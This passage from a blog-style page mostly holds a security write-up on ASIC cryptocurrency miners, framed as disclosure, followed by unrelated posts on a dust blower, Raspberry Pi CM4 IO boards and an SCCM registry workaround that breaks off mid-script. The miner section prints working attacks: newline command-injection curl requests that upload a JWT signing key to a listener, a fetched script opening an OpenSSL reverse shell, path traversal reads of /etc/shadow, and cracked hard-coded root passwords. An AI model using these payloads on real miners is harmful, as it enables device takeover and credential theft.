password to this guest account. I did find a few miners that are clearly using the same InnoSilicon firmware (it references DragonMint a lot in the source code, maybe DragonMint is who originally wrote it and they were acquired by InnoSilicon or they are all just stealing from the same project, it’s closed source) that actually had an option to change it but not on InnoSilicon. The only way to change it is to gain RCE over your miner using one of my vulnerabilities we will be covering shortly and then you can edit the /config/web-users.json file and change it. Log in with this account to the miner and then press F12 to open your developer tools. You better believe InnoSilicon’s browser/environment variables are going to come back to haunt them yet again all these years later. Go to “Storage” for Firefox or the “Application” tab for Chrome. Now choose the “Local Storage” section: InnoSilicon – Modify undocumented/unchangeable guest/guest login to admin to see additional information Double click on “guest” and change it to “admin” and refresh the page. This will *not* allow you to modify the miner yet but it will unlock *all* of the miners tabs. If you try to click the save button it won’t work, but you can see much more than the guest account ever could have possibly been intended to see. It’s unclear why you would have it at all anyway other than maybe some of their support staff / software tools use it internally. Who knows, it’s undocumented and they actually hide that it even exists from the users menu dropdown that is supposed to show the users on the miner (should only be admin unless they have SSH/RCE which InnoSilicon doesn’t allow SSH on newer versions). It really gives an attacker a lot to go on to figure out who they are and what their passwords might be. You can see all their IP configuration details which gives hints about how to find other miners and what their network backend looks like (something you’d never normally be able to see). This is all pre-authentication. We haven’t even done anything yet. Next we will take a look at the JWT field. This is used for authentication. We can copy this value to a JWT decoder online like at jwt.io. InnoSilicon – guest/guest JWT Decoded In the “Payload” section you can see that our JWT has a user of “guest”. So can we just modify guest to admin to get the ability to save? Yes, but you need the signing key, which goes in the box in the bottom right. InnoSilicon rotates the signing key every 6 hours, but if you have it you can sign your own authentication JWTs that say anything you want and the server will gladly accept them. The reason we care about this is you will need a JWT token (the admin one, not the guest one) to pass to curl on the command line for our newline byte attack. If you are signed in as admin already you can use this JWT token for the attack directly right from the browser. Now that we’ve covered how it all works let’s examine the vulnerabilities. Authenticated Remote Code Execution – checkUrl There’s a very old hacking trick called the “null byte” trick. There’s a hacking web site called null byte that is named after this technique and they described it and their history all the way back in 2011 here. There are variations of this attack using the newline character as well and we’ll largely be using those for our attacks. The reason it works is that many applications are a mix of languages like PHP / C++ / and a whole bunch of others working together. Functions like strcmp (string compare) will stop when it reaches a newline / null byte while other languages will treat it differently. This discrepancy leads to issues like I’m about to present and is still found *all over* the place even though this type of technique isn’t talked about as much anymore. Null byte and newline injection has had a little bit of a revival lately though. A good % of the unpublished exploits I’m researching use it and not a lot of things check for it. IoT is extremely vulnerable to it especially which is why I find myself using it more and more. It’s because IoT devices often are running very old Linux versions that are right from that era and definitely from before it was fixed in a lot of products (only the past few years). It’s a golden era for them right now and 5 years from now that probably won’t be true. We are going to exploit the checkUrl command using this technique. You can’t do this with a guest token, you need to be authenticated as admin. The guest token just lets you gather a lot of information to try to figure it out or if you try enough of them with admin/admin or are using this on your own miner (I always try to root my own miners so I can see what they’re really doing) then you’re good to go. Let’s pass it some newline bytes and tell it to use curl to upload a sensitive file to my listening server: IPAddress="X.X.X.X" AuthToken="Copy from Browser" curl -i -s -k --max-time 30 -X $'POST' \ -H "Host: $IPAddress" -H "Referer: http://$IPAddress/" \ -H 'Accept: application/json, text/plain, */*' \ -H "Authorization: Bearer $AuthToken" \ -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36' \ -H 'Accept-Encoding: gzip, deflate' \ -H 'Accept-Language: en-US,en;q=0.9' -H 'Connection: close' \ "http://$IPAddress/api/checkUrl" \ --data-binary $'check_url=http://\ncurl X.X.X.X:24248 --data-binary @/tmp/jwtK\n' The action is all in the very last line. Notice I feed it a http://. That is because the function checks to make sure you’ve passed at least that much of a URL. I then pass it a \n which represents the newline character. Now I write my own command to connect to my listening server and upload the JWT master key. We can sign our own authentication tokens with this key that the server will accept. My server is listening with this command: nc -w 5 -nvlkp 24248 When running the command against a vulnerable ASIC my server sees this: Listening on 0.0.0.0 24248 Listening on 0.0.0.0 24248 Connection received on 193.200.74.52 56050 POST / HTTP/1.1 Host: 23.23.168.121:24248 User-Agent: curl/7.68.0 Accept: */* Content-Length: 20 Content-Type: application/x-www-form-urlencoded jSysUBpd3oC9JMwvRn6c There’s the server’s secret signing key. You can also do /etc/shadow, /etc/passwd and other sensitive files. With that signing key you can sign your own JWT tokens like we discussed in the previous section. In the next section we will do a reverse shell using the built-in OpenSSL binary that is present in the InnoSilicon firmware to create an encrypted reverse shell into the miner. That attack will also work with the checkUrl method though and vice versa. Authenticated Remote Code Execution – setPlatform The setPlatform command does not exist in most older versions that are vulnerable to checkUrl. Fortunately most versions that were not vulnerable to checkUrl are vulnerable to the setPlatform API command. The key is whether these lines are commented out: public function setPlatformAction() { global $config; header('Content-Type: application/json'); $result_arr = array(); if(strlen($_POST['type']) > 0 && check_string($_POST['type'])) { $type = filter_string(htmlspecialchars($_POST['type'])); // //get map data // if(file_exists($config["type_map_file"])) // { // $type_arr_file = file_get_contents($config["type_map_file"]); // if(strlen($type_arr_file) > 0) // { // $type_arr = json_decode($type_arr_file,true); // if(array_key_exists($type,$type_arr)) // { // $type = $type; // } // else // { // echo json_encode(array("success"=>false, "msg"=>"invalid param"));die; // // $type = strtolower($type); // } // } // } //if the type has other unsafe character if(strlen($type) != strlen($_POST['type'])) { echo json_encode(array("success"=>false, "msg"=>"invalid param"));die; } if(strlen($type) > 0) { // $cmd = escapeshellcmd("fw_setenv miner_type ".$type.";systemctl restart dm-monitor"); $cmd = "fw_setenv miner_type ".$type.";systemctl restart dm-monitor"; shell_exec($cmd." >/dev/null 2>/dev/null &"); $result_arr["success"] = true; echo json_encode($result_arr); } else { echo json_encode(array("success"=>false));die; } } else { echo json_encode(array("success"=>false, "msg"=>"invalid param"));die; } } Before we continue look how much of a story the commented out lines tell us here. They actually have the *fix* to this problem directly above the line that is vulnerable. Notice how that line has escapeshellcmd() in front of it. My guess is since some of the platform types have the “+” symbol in them that they ended up commenting out the secure version so it would accept those types. For whatever reason though they had a correctly implemented version and dropped the protection enabling OS command injection / RCE. I haven’t seen a version that has the escapeshellcmd version uncommented. It’s only a question of whether the “type_map_file” check is commented out. I encountered one model that hasn’t had a firmware update since 2020 that was not vulnerable to either of these (the T2TI) but the vast majority will be vulnerable to one or the other. This model’s firmware was too new to have the checkUrl function enabled but before they commented out the above verification test to make sure the submitted parameter is in the map file. There was no upgrade or downgrade available on InnoSilicon’s web site for this model so it’s probably the safest one (I’m guessing there’s a few other models from the same time period that might fall in this “sweet spot” that won’t have the “Get Map Data” section commented out. It seems like the vulnerabilities were introduced sometime in late 2020 or 2021. This will be the same drill as last time. We are going to send the ASIC what it will see on the front-end as a valid command (it will even respond with success). Our commands will secretly run in the background. We’re going to do a reverse shell using OpenSSL for this version. If you check the /bin folder InnoSilicon did not include the nc utility (smart choice) so we have to do something more tricky. This shell is encrypted though (with SSL, the same type of encryption secure web sites use) which definitely has it’s upsides. The characters required for a reverse shell will not pass through this command very easily without breaking it. It’s possible to get around them (base64 encoding for example) but let’s just make our lives a lot easier and have it download a script from our web server that has whatever we want in it. In this case we will put the reverse OpenSSL shell in there. I created a file on a web server called test.sh. Here are it’s contents: #/bin/sh mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect X.X.X.X:24248 > /tmp/s; rm /tmp/s Now we can’t use regular “nc” netcat on the server to listen this time because it doesn’t support SSL. My favorite way to do this is to use “ncat” which is the version of netcat from the creators of nmap and it does support SSL. You can get it on most distros like Ubuntu with: sudo apt install ncat Now let’s start the listener with ncat: ncat --ssl -l 24248 Okay, we’re almost ready. We need to pass the miner a type in this command. I highly recommend using the actual type of the miner. You can get that like this: curl -i -s -k --max-time 30 -X $'POST' \ -H "Host: $IPAddress" -H "Referer: http://$IPAddress/" \ -H 'Accept: application/json, text/plain, */*' \ -H "Authorization: Bearer $AuthToken" \ -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36' \ -H 'Accept-Encoding: gzip, deflate' \ -H 'Accept-Language: en-US,en;q=0.9' -H 'Connection: close' \ "http://$IPAddress/api/type" \ --data-binary $'{}' Replace the A11M (all the expensive Ethereum mining ones are vulnerable to this like the A10/A11/etc. as I’d last tested on a A11M) in my command with the type of miner this command returns. Okay, now let’s have the server download the script and execute it: IPAddress="X.X.X.X" AuthToken="Copy from Browser" curl -i -s -k --max-time 30 -X $'POST' \ -H "Host: $IPAddress" -H "Referer: http://$IPAddress/" \ -H 'Accept: application/json, text/plain, */*' \ -H "Authorization: Bearer $AuthToken" \ -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36' \ -H 'Accept-Encoding: gzip, deflate' \ -H 'Accept-Language: en-US,en;q=0.9' -H 'Connection: close' \ "http://$IPAddress/api/setPlatform" \ --data-binary $'type=A11M\ncurl http://23.23.168.121/test.sh -o /tmp/test.sh\nsh /tmp/test.sh\n' Your listener will catch an encrypted reverse shell almost immediately. The command will also return “success: true” if you gave it a valid platform. The web server has no idea this attack occurred because the newline byte caused it to pass through to the shell. That means the web server only saw the A11M part and then the string was terminated by the newline byte. However, the shell interprets the newline bytes differently. It very much sees the commands and treats the newline characters as a line break basically (essentially hitting “Enter” for us between commands). The map check, however, does see it which is why it needs to be commented out. Using the escapeshellcmd version that is commented out in every version would prevent it from working no matter what. You can see I am actually chaining commands with additional newline bytes. Right after the curl command I do another \n to trigger the line break and execute /tmp/test.sh with sh. The longer you try to do this the more likely you’ll introduce a character that will break the sequence but with enough experimentation you can absolutely chain a basic sequence of commands like this. I’m explaining this so you can truly understand the danger here. This stuff tends to be really abstract and details like this are closely guarded and hard to come by. This can and does happen and that’s what it actually looks like. It’s not helping that none of it is being reported as CVEs or anything telling people this is a risk. It is extremely difficult to detect this and easy to basically permanently backdoor and root the miner. There are automated bots that scan all miners for if you have the default password of admin/admin. Port forwarded miners / miners not behind a firewall can be backdoored in minutes (just by you doing a quick factory reset) by automated bots. This technique of backdooring has been seen before on AntMiners a few years ago. It took them a long time and they had to stop allowing downgrades to vulnerable versions of the firmware but it’s largely under control for those right now. Take a look at this official document from Bitmain to see what I mean. If you suspect this has happened you should completely flash the firmware from scratch with a SD card (a full factory flash, not just in the web interface but actually reformatting the miner with the recovery tools from your manufacturer). JasMiner / Jingle Mining Who is JasMiner / Jingle Mining? I have no idea, but they seem to make mostly Ethereum ASICs. Their web site is located here. These miners can be found like so: Censys JasMiner Zoomeye JasMiner Shodan JasMiner Open Debug Port All it took to crack this one was nmap. It was revealed that it is running an open service on port 1534. I did some research and figured out this is a TCF debug service commonly used by Eclipse (a java / other languages development environment / IDE). I’m familiar with Eclipse as I developed Spark (a multiplayer CTF game) in Java using it (long ago in another lifetime). I downloaded Eclipse into one of my machines and went to “Help -> Install New Software” and then clicked the “Work With” dropdown and chose “All Available Sites”. Next I searched for TCF in the search box right underneath the “Work With” dropdown. I saw “C/C++ Remote (over TCF/TE) Run/Debug Launcher”. After relaunching I had a new “Connection Manager” tab that let’s you easily add remote machines. To my surprise there is zero authentication required and it’s full root access to the device that can do anything: Eclipse – TCF Connection Manager Oh dear. As you can see it’s the crown jewels. You can do *anything*. You can click right through to the /etc/shadow file or the miner’s configuration files in the /mnt/ folder. You can upload and edit files. ANY file. It’s root access. You can also execute processes with the “Launches” tab at the bottom of the screenshot, view all processes, etc. This means hackers can fully backdoor the miner and it is trivial. It’s even GUI driven! All you need is completely free software and about 10 minutes to get it set up. Would this have happened if this firmware was open source? Hell no. If it did it would have happened for about 5 minutes before it was embarrassingly pointed out to them they left the debug service open without authentication. I have not found a JasMiner this did not work on — it’s on all of them. It only requires that they have port 1534 open which usually means the miner is just plugged directly into the internet (nobody would forward this port from their router, they aren’t supposed to know about it and can’t use it as a consumer). It really makes one wonder if they just thought nobody could ever figure out the debug process or how to utilize it. It doesn’t seem like it’s a mistake that it’s present across different models on every version. If you have local network access it’s game over though, and there are some that are just directly plugged into the internet (very very bad). The TCF explorer works 100% over the internet if that port is open. Goldshell Let me just say I am a little biased toward Goldshell (in a positive way). Between my wife and myself we own about 25 Goldshell ASIC miners. These were actually the most important for me to secure for my family’s sake. Goldshell Censys Goldshell Zoomeye Goldshell Shodan CVE-2022-24659 – Path Traversal Vulnerability This is a very compromising vulnerability because Goldshell’s web interface is running as root. That means with a path traversal vulnerability you can read *any* file on the device. The passwords are not hashed so these are retrieved in plain-text. This makes it extremely dangerous as so many people use the same password for their router and other devices. It wouldn’t be nearly as serious if the web service was running as www-data (although it would still be able to read the web users file so those passwords should be hashed). curl --path-as-is http://X.X.X.X/../../../../../../../../../usr/config/minerd/settings/login.json curl --path-as-is http://X.X.X.X/../../../../../../../../../etc/shadow For the big boys (miners bigger than the BOX miners) that use real SPI flash memory: curl --path-as-is http://X.X.X.X/../../../../../../../../../mnt/config/minerd/settings/login.json There is no defense against this other than not having your miner port forwarded to from the internet. It works across the internet just fine if port 80 is open and reachable on the miner. The only thing you can do is upgrade your firmware and not have any ports exposed to the internet! CVE-2022-24660 – Debug interface exposed without authentication Goldshell has a fantastic debug interface available on their miner. As as miner I love this “debug” interface and it honestly is a great value-added feature that I don’t know of any other miner having an equivalent of. The current implementation has some problems though. You aren’t supposed to know about it and it does not require any authentication. It’s not marketed for consumers and is almost certainly meant for the developers. My advice to Goldshell would be to embrace and market this service. It doesn’t need to be removed, it needs to be secured. Here’s what it looks like: Goldshell Debug Interface The issue here is that passwords and JWT tokens appear in plaintext in this log. This makes the authentication basically pointless without securing this debug interface. It is accessed at the following URL: http://X.X.X.X/#/debug CVE-2022-24657 – Use of Hard-Coded Credentials / Open SSH Port Goldshell has hard-coded root credentials in the firmware. Since I was able to retrieve the password hashes with my path traversal vulnerability I cracked the passwords using hashcat. There are two passwords in use. 2.0.X Series UP0m2BBEXru9o:19283746 2.1.X Series / 2.2.0 / 2.2.1 VqHlh2uTs0W4Y:!@#$%123 Goldshell has changed the root password in the latest firmware (at least for the KD6). Yes, I was able to crack the new one but I won’t be posting it here as since Goldshell actually responded and fixed my disclosed vulnerabilities and I’ll have to notify them that they need to try again. Protecting Yourself What a security catastrophe. ASIC miners are some of the most insecure devices I’ve ever tested or seen tested. Some of these vulnerabilities are right out of a “teach yourself to hack” lab exercise where they make a super vulnerable machine on purpose for it to be hacked for beginners. It was really that target-rich of an environment. You need to protect yourself. The manufacturers will not do it for you as they have every incentive to *never* tell you anything like this has ever happened or is even possible. It happens literally all the time. You protect yourself by: Never port forward ports directly to your miner from the internet — use a secure gateway like a VPN or even using Remote Desktop or VNC on a fully patched system would be much safer as they are designed to withstand remote attacks and ASIC miners clearly aren’t. Always keep your firmware up to date on your miner no matter what the manufacturer says — This industry is cloaked in shadow. They closed source everything years ago. I showed evidence that mining manufacturers routinely find/patch exploits and they will *NOT* tell you that but you’re still getting protection by upgrading. Don’t use the default password OR the same password as your router/other devices — I demonstrated that the passwords can sometimes be obtained in plain-text or hashes that are not difficult or time consuming to crack for something like a single NVIDIA 3090. If you use the same one as your router then your miner breach just led to the compromise of your entire network and maybe even some online accounts. Some of the companies that responded me did not want me to release this information. They were concerned it would damage the brand’s image. The brands that did respond actually gained MORE trust from me from this incident because now it’s more clear what these companies are really about and what is really important to them. That is because every product / vendor has vulnerabilities occasionally. The question is do they handle these types of incidents in a way that protects their customers. The answer was no for many of them. I think the only brand images damaged here and the ones that refused to respond to my inquiries. That lets you know how seriously they take your security and how much more important their image is to them than letting their customers get hacked off the face of the planet / actually protecting them. Every company / product has security vulnerabilities. Microsoft, the entire Linux ecosystem, all of them have security vulnerabilities found constantly and they are *FAR* more secure than these ASIC mining devices. There’s no shame in it. There is shame in how you respond / whether you respond and any shame from this article is directed toward this. It’s not directed toward the companies who responded to my responsible disclosures and worked on a patch to protect their customers / miners. That is exactly the right way to respond to these vulnerabilities because it’s only a matter of time before someone else finds them that *won’t* disclose them to you. What happens when those are released as 0-day drops? Your customers get hacked and there’s NOTHING you can do (or more importantly that your CUSTOMERS can do, which is why your brand is damaged when that happens) because they weren’t disclosed and you were caught totally unprepared. Are you going to cry then? I’m sure they probably did cry when this happened in the past but there was nobody to hear them because the vulnerabilities were dropped on the internet and that is that. Not a single ASIC mining manufacturer has a bug bounty program. Not one. Conclusion I discovered these vulnerabilities in January and February and notified the vendors at the same time. Goldshell was the only company that responded but all vendors were notified at the same time for this article. All of the mining manufactures taking their firmware closed source has *not* served them well. They’re full of rookie mistakes any junior programmer who glanced through the source on GitHub would have spotted and helped them fix. It’s a perfect example of closed source leading to worse outcomes (and way, way dumber mistakes). If I broke any rules of decorum in the process of disclosing these it’s because I’m not a professional security researcher and they’re lucky I disclosed them at all instead of write bots that automatically hijack them which is probably what most people would have done and what some people reading this probably want to do. I could have also just sold them as since I found them myself they were legit 0-day vulnerabilities on machines that print money in the form of cryptocurrency. I got one free miner out of it from Goldshell as a finder’s reward because they’re a real stand-up company but the truth is I could have sold any one of them for more than that if that’s what this was about. I expected nothing from any of the companies and didn’t ask for anything. I did this because I have a substantial investment in the miners combined with zero trust in the companies (as is probably the case for a lot of miners) and I wanted to try publishing some security-related content to see if I enjoyed it and readers enjoyed it. That is the state of security at the moment in the cryptocurrency ASIC miner industry although hopefully these disclosures improve things! #### DataVac ED500: Powerful Dust Remover DataVac ED500 Dust Remover Review In the past I’ve written about my rechargeable handheld dust removal tool I’ve used to clean dust from electronics. This has completely eliminated “canned air” from my life and paid for itself many times over not to mention the vastly reduced environmental impact. After years of operation my OPOLAR dust removal tool is starting to have issues with the switch that turns on the blower. Since I was very happy having a powered dust removal tool and it had paid for itself previously I decided to try taking a step up this time and get a more powerful model. I decided to try out the DataVac Electric Duster ED500 and oh boy is it powerful. It honestly feels like a cannon! Today I’ll cover how this compared to my previous tool and why these are so great. Let’s get started! Table of Contents Toggle Hardware UsedOverviewPerformancePros / ConsProsConsConclusionOther Resources Hardware Used DataVac Electric Duster The DataVac Electric Duster ED500 has a powerful 500W 0.75HP motor. It comes with various attachments allowing you to direct the powerful airstream however you need to. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Overview Let’s cover the most important difference between this device and the common OPOLAR handheld one. This device has a cord. This was not a problem for my use case but it may be a dealbreaker for many people so I wanted to address that right off the bat. The noise level is about the same as a vacuum. I think it’s probably extremely similar to an actual vacuum because it certainly sounds just like one. Performance Now it’s time to get to the important part. How does it perform? I had a difficult time describing it so I made a video to show the performance: During this video the unit did not get very hot at all. Note that if you use the smaller attachments though it gets hot faster. They even include a warning card with the attachments telling you this and indeed I did observe it gets hot faster if I put something like the straw attachment on the unit. This is probably because it’s restricting the airflow with the smaller attachments and making the motor work harder (producing more heat faster). Alternatively maybe the heat is exhausted through the airflow and restricting airflow with the smaller attachments makes the heat build up faster. Whatever the reason, more heat builds up faster when using the smaller attachments. I’d imagine using the larger bore general cleaning attachment like I’m using in the video I could have cleaned at least one more full-size PC before the unit would have needed to cool down for a minute or two. It’s then ready to go again. I honestly don’t find myself using the smaller attachments that often because as you could see in the video I had no trouble blasting that PC clean with basically pure force including inside the formerly furry fan blades and the GPU / PSU. Pros / Cons Pros Safe to use with electronics (won’t generate static or moisture like an air compressor) Small and easily fits in a bag or toolkit or on a cart Gets everything very clean Cons Needs a cord Generates noise about the level of a vacuum Conclusion The DataVac ED500 makes quick work of any PC / electronics cleaning job. I did not even need to use any other attachments for this video as the stream was powerful enough from the main attachment to easily get the job done. It only took me a little over a minute of actual cleaning in that video to completely change that PC from a gross dusty hairy mess into looking as fresh as the day we built it. It’s not battery powered / portable like the OPOLAR one I had previously but it’s way, way more powerful. If you are using the DataVac for too long and it gets too hot all you need to do is let it cool down for a couple of minutes and it’s ready to go again! One might say why not use an air compressor? Well for one the DataVac is designed specifically for cleaning electronics so you don’t have to worry about putting a hole in something or damaging it like with an air compressor. Air compressors also generate moisture and static (google it if you don’t believe me). It’s not only possible but is expected unless you buy a specialized one that has features to remove moisture and static charge from the air (expensive). Otherwise you are concentrating/pressurizing the moisture in the air along with the air itself and it will go straight into whatever you are cleaning (at a very high pressure). The DataVac is also a lot more convenient to use. You just plug it in and clean. There’s no waiting for pressure or hearing a super loud compressor motor (even compared to this which is closer in volume to a vacuum) ramping up. This is also small and easy to carry anywhere there’s a plug available (many of which would be inappropriate or impractical to try to take an air compressor but this device would be no problem). I invested in this tool because I had saved so much money over buying things like compressed air cans to clean all of my devices. I expect the DataVac will continue to keep my electronics clean for many years to come! Other Resources For a handheld and battery powered cleaner that is slightly less powerful see my OPOLAR dust removal tool review Another very useful tool is an electronic screwdriver meant for electronics such as the Wowstick #### Different Shapes / Sizes / Features of Compute Module 4 Boards Waveshare PoE CM4 IO Board – Standalone One of my favorite things about the Raspberry Pi Compute Module 4 is that you basically get to choose your own IO board that the Compute Module 4 plugs into. For illustration purposes imagine that the IO board is the “motherboard” and the Compute Module 4 is the CPU that you plug into the CPU socket. That’s essentially the relationship between the two! They come in all shapes and sizes. Some of them even have PCIe and I’ve covered before how to take advantage of true NVMe on the CM4. Today I wanted to show you some of the different IO boards for the Compute Module 4 I have and what features / traits led me to want to try them. Let’s get started! Table of Contents Toggle #1 – The official Raspberry Pi Compute Module IO Board#2 – Waveshare PoE IO Board / Ventilated Case#3 – Waveshare PoE IO Board (standalone)#4 – Waveshare M.2 IO Board (Small Form Factor)ConclusionOther Resources #1 – The official Raspberry Pi Compute Module IO Board Raspberry Pi Compute Module 4 – IO Board This is essentially the “motherboard” of the compute module. This IO breakout board lets us work with the compute module and get the ports we need to interface with it. This includes a SD card slot for models that don’t have eMMC, a PCI express slot (very exciting), 2 USB ports and more. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Raspberry Pi Compute Module 4 mounted in IO Board Let’s start with the official reference board for the Compute Module 4. This is already a fantastic board that everyone should have because it comes with the PCIe 1x slot that I used to do my actual NVMe using the Pi testing. It’s pretty fully loaded but there is one notable exception: the USB ports on the reference board are USB 2.0. This may come as a surprise to people coming from the Pi 4 where USB 3.0 has been the standard for something like 4-5 years on that board. Yes, this board is not perfect if you are going to be using a lot of fast USB devices. Fortunately with the PCIe slot if you use that for your storage (and you should because it’s so blazing fast) then most accessories will be perfectly fine over USB 2.0. You can also use the SD slot as there is one on the reference board. The reference board is for sure a winner and worth having. #2 – Waveshare PoE IO Board / Ventilated Case Waveshare PoE Compute Module 4 Enclosure The “Rolls Royce” of Compute Module 4 enclosures containing USB 3.2 Gen2 ports, PoE capabilities allowing you to ditch the power cable and powered ventilation to keep the Compute Module 4 cool! Links: AliExpress (Waveshare official)*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Waveshare PoE Compute Module 4 Enclosure This is basically my “Rolls Royce” Compute Module 4 setup. I have a few different CM4 boards but I have one that was very hard to get that is very fully loaded having the WiFi + the eMMC + 8GB RAM. I love these setups because they turn out so clean. There’s not even a power cable as the power comes completely through the Ethernet cable and powers the Pi and all accessories. Let’s talk about the main advantage first which is Power over Ethernet (PoE). This allows you to power the entire Pi with a PoE port or a PoE injector through the ethernet cable! Not only that though, this case actually has powered ventilation (all over PoE)! That’s one of the reasons I keep my nicest CM4 module in here to make sure it stays nice and cool and lives a long life as I don’t even want to know what a fully loaded CM4 costs during the Pi shortage. It gets better. If you look closely at the USB ports in the picture above you will see they are blue! They are actually USB 3.2 Gen1 ports. Here’s the inside: Waveshare PoE CM4 Enclosure Opened Here you can see that the fan plugs directly into the IO board and receives it’s power from there. #3 – Waveshare PoE IO Board (standalone) Waveshare PoE CM4 IO Board – Standalone This is the standalone version of the Waveshare Compute Module 4 PoE board containing USB 3.2 Gen2 ports, PoE capabilities allowing you to ditch the power cable and powered ventilation to keep the Compute Module 4 cool! Links: AliExpress (Waveshare official)*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* If you still need PoE or some of the other features of the Waveshare PoE board (such as USB 3.2 Gen1) you can get the board standalone and I have one of these standalone as well. Waveshare PoE CM4 IO Board – Standalone #4 – Waveshare M.2 IO Board (Small Form Factor) Waveshare Small Form Factor CM4 IO Board Small board that packs a punch including a real M.2 slot as well as CSI/DSI/FAN/HDMI/USB/RJ45 Gigabit Ethernet/Micro SD Slot Links: AliExpress (Waveshare official)*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Now let’s look at an interesting smaller form factor board. You should immediately recognize this form factor: Waveshare Small Form Factor CM4 IO Board It looks like a regular Raspberry Pi! That’s one of the ideas with this size of board and there are lots of other ones available in this form factor with various features. This one is actually packing quite a surprise. Take a look at this: Waveshare Small Form Factor Board – M.2 Slot Oh yeah, that is absolutely a M.2 port! It’s meant for shorter drives but I stuck a full size M.2 NVMe drive in there to give you a sense of scale: Waveshare M.2 Board w/ full size M.2 NVMe drive I can’t mount this one in the mounting slots so you’d want to use a shorter M.2 drive (2242 or 2230 have mountpoints you can see in the picture without the drive in it) with this board. Will it still work with a full size 2280 drive? Yes, I actually tested it with a full size drive and it will still work. My benchmark from this test is here on Pi Benchmarks. Since it isn’t mounted to the board though the slightest bump can knock the M.2 drive out so I highly recommend using a proper size module. It can do it though for testing / in a pinch. One thing to note is that this board does have USB 2.0 ports. That means that you want to actually be using the M.2 slot (or the micro SD slot) for your storage. You wouldn’t want to use a USB to SATA/NVMe adapter with this board given the USB 2.0 ports. This is actually the least expensive board on the list and is relatively cheap. Conclusion IO boards are available with all shapes, sizes and functions. It’s my favorite part about the Compute Module and the Compute Module 4 in particular with it’s enhanced capabilities. NVMe, PCIe, all of these are possible through IO boards! You can probably find a IO board that will do what you want if you search for it. This has led to a performance breakthrough on pibenchmarks.com which is my Pi Benchmarking site. Raspberry Pi 4’s are limited by the USB 3.0 bus that is included with the Pi 4. The Compute Module 4 is able to blow it away performance wise since you’re able to bypass the USB 3.0 bus and either use a faster bus via something like the Waveshare board or bypass USB altogether! Other Resources If you’re just getting started with the CM4 check out my full Compute Module 4 guide here To see me using a PCIe 1x adapter to achieve NVMe using the CM4 check out my guide here For an explanation of the new Pico board check out my Pico W Explained article #### Disabling SCCM MDM Coexistence Mode (Unofficial Imperfect Workaround) Microsoft recently added a feature called MDM coexistence into SCCM. Basically this makes SCCM shut off most of it’s functionality when a third party MDM is detected on the machine. You will see errors such as “You don’t have permission to install this software” when coexistence mode is enabled. This behavior is by design and will not be fixed. This has left a lot of organizations in a tough spot as the current version of SCCM will not work side by side anymore with third party MDM providers such as Airwatch. This post will outline a way I found to turn SCCM back on (with a caveat). Table of Contents Toggle Imperfect WorkaroundDisabling Coexistence Mode ManuallyRestoring MDM FunctionalityPowerShell TemplateConclusion Imperfect Workaround When you run this fix SCCM will turn back on no matter what version you have. However, MDM will stop reporting some types of telemetry. For example with Airwatch once I enable this fix it stops recording live telemetry in the Airwatch console until you turn it off. This means that this isn’t really a workaround you can just deploy company wide that fixes it. It’s only a tool that will allow you to disable coexistence mode but if you don’t turn it back on eventually your MDM functionality will be impacted. The ideal thing to do as a “workaround” is roll back to a version of SCCM before coexistence was introduced and not allow it to update to the latest version by blacklisting them in a device collection. I suspect this will cause problems over time as SCCM continues to be updated which is why I wanted to post this additional option/tool to help others who may be facing this have some options to temporarily reenable a new version of SCCM, etc. Disabling Coexistence Mode Manually Microsoft detects coexistence mode through the “Enrollment” registry keys. These are located at Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Enrollments\ SCCM MDM Enrollment Registry Key Now look for the entries that have the little arrow next to them to expand.  There should only be a few folders that are expandable like this.  You are looking for one that contains a “DMClient” folder with a “AirWatchMDM” folder (or the name of the MDM you are using) inside it. Highlight the folder that contains the DMClient/AirWatchMDM folder and right click and choose “Export” to export this folder.  Name the file anything and just save a copy so you can restore your MDM functionality afterward. Now delete the entire folder that you saved a copy of completely.  It will ask you if you want to delete all keys and subkeys.  Say yes. Now run the following command in Command Prompt as Administrator: WMIC /Namespace:\\root\ccm path SMS_Client CALL ResetPolicy 1 /NOINTERACTIVE  That’s it.  Now open SCCM and the permissions errors will be gone. The install button will no longer be disabled and SCCM activities will resume. Restoring MDM Functionality To restore MDM functionality just double click the .reg file you saved earlier before deleting the folder. Then run the policy reset command in Command Prompt as Administrator again: WMIC /Namespace:\\root\ccm path SMS_Client CALL ResetPolicy 1 /NOINTERACTIVE That’s it. The workaround is now undone! PowerShell Template Here is a PowerShell template that is for the Airwatch example I gave above. You can modify this script to match the name of your MDM. The name you will use is the one that appears as ‘Provider ID’ from the manual steps above. # Disable MDM coexistence and restore SCCM functionality # Warning: Airwatch stops sending certain telemetry while registry key is disabled # Backup key is saved to %PUBLIC% folder as "MDMbackup.reg" # James A. Chambers - https://jamesachambers.com $Enrollments = $null $AirwatchEnrollment = $null $Enrollments = Get-ChildItem -Path HKLM:\Software\Microsoft\Enrollments $AirwatchEnrollment = $Enrollments | Where-Object { $_.GetValue("ProviderID") -eq 